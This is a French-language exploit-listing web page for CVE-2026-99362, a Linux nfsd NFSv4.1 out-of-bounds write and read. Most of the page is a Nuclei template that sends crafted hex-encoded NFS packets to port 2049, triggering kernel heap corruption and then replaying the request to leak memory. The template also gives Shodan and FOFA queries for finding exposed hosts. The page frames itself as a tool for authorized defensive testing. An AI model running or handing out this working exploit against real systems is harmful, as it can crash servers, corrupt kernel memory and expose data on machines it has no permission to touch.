Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2026-99362

CRITICAL

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei critical Vérifié
Source

Linux nfsd - NFSv4.1 SEQUENCE Reply Cache Out-of-Bounds Write and Read

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2026-99362 -u https://your-target

Template yaml

id: CVE-2026-99362

info:
  name: Linux nfsd - NFSv4.1 SEQUENCE Reply Cache Out-of-Bounds Write and Read
  author: matusso,Redpatronus
  severity: critical
  description: |
    Linux nfsd can copy a client-chosen NFSv4.1 SEQUENCE reply into a zero-length slot cache after the client negotiates a minimal cached response size, causing an out-of-bounds kernel write; replay may disclose adjacent memory. This template sends the triggering COMPOUND and checks for its marker in the replayed response.
  impact: |
    An unauthenticated NFS client can corrupt kernel heap memory, potentially crash the host, and disclose adjacent memory.
  remediation: |
    Upgrade to a distribution kernel containing the nfsd SEQUENCE preflight fix, and restrict TCP/2049 exposure to trusted clients.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-99362
    - https://git.kernel.org/stable/c/35ff1a7a7e3835c3e974bc5c45d335897564ceae
    - https://cveawg.mitre.org/api/cve/CVE-2026-99362
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-99362
    epss-score: 0.04822
    epss-percentile: 0.92172
    cwe-id:
      - CWE-787
      - CWE-125
  metadata:
    max-request: 1
    verified: true
    vendor: linux
    product: linux_kernel
    shodan-query: port:2049
    fofa-query: port="2049"
  tags: cve,cve2026,linux,kernel,nfs,nfsd,network,tcp,oob,heap,intrusive,exploit

variables:
  marker: "CVE-2026-99362-OOB-SLOT-PROOF"
  exid_prefix: "80000078000010000000000000000002000186a30000000400000001000000010000001400000000000000000000000000000000000000000000000000000000000000046578696400000001000000010000002a112233445566778800000010"
  exid_suffix: "000000000000000000000000"
  crses_prefix: "800000a4000010010000000000000002000186a30000000400000001000000010000001400000000000000000000000000000000000000000000000000000000000000046373657300000001000000010000002b"
  crses_suffix: "00000001000000000000000000000400001000000000005000000010000000100000000000000000000004000010000000000000000000100000001000000000000000000000000100000000"
  trig_prefix: "8000009c000010020000000000000002000186a30000000400000001000000010000001400000000000000000000000000000000000000000000000000000000000000284356452d323032362d39393336322d4f4f422d534c4f542d50524f4f464141414141414141414141000000010000000200000035"
  trig_suffix: "000000010000000000000000000000010000003700000000"
  replay_prefix: "8000007c000010030000000000000002000186a30000000400000001000000010000001400000000000000000000000000000000000000000000000000000000000000067265706c61790000000000010000000200000035"
  replay_suffix: "000000010000000000000000000000010000003700000000"

tcp:
  - host:
      - "{{Hostname}}"
    port: 2049
    inputs:
      - data: "{{hex_decode(exid_prefix) + rand_base(16) + hex_decode(exid_suffix)}}"
      - read: 1024
        name: exid_resp
      - data: "{{hex_decode(crses_prefix) + substr(exid_resp, 52, 60) + hex_decode(crses_suffix)}}"
      - read: 1024
        name: cs_resp
      - data: "{{hex_decode(trig_prefix) + substr(cs_resp, 52, 68) + hex_decode(trig_suffix)}}"
      - read: 1024
        name: trigger_resp
      - data: "{{hex_decode(replay_prefix) + substr(cs_resp, 52, 68) + hex_decode(replay_suffix)}}"
      - read: 1024
        name: replay_resp

    matchers:
      - type: dsl
        dsl:
          - 'substr(hex_encode(trigger_resp), 56, 64) == "00000000"'
          - "!contains(trigger_resp, substr(cs_resp, 52, 68))"
          - 'contains(replay_resp, "{{marker}}")'
        condition: and
# digest: 4b0a00483046022100c9ffcb3eb4de19fbd129ffe1c69baf8b890ab839b7a105ece4f777473b1792a2022100bedc2441a9277a152ac904ef017b82b773632e90ced18971084236de8c54eefd:922c64590222798bb761d5b6d8e72950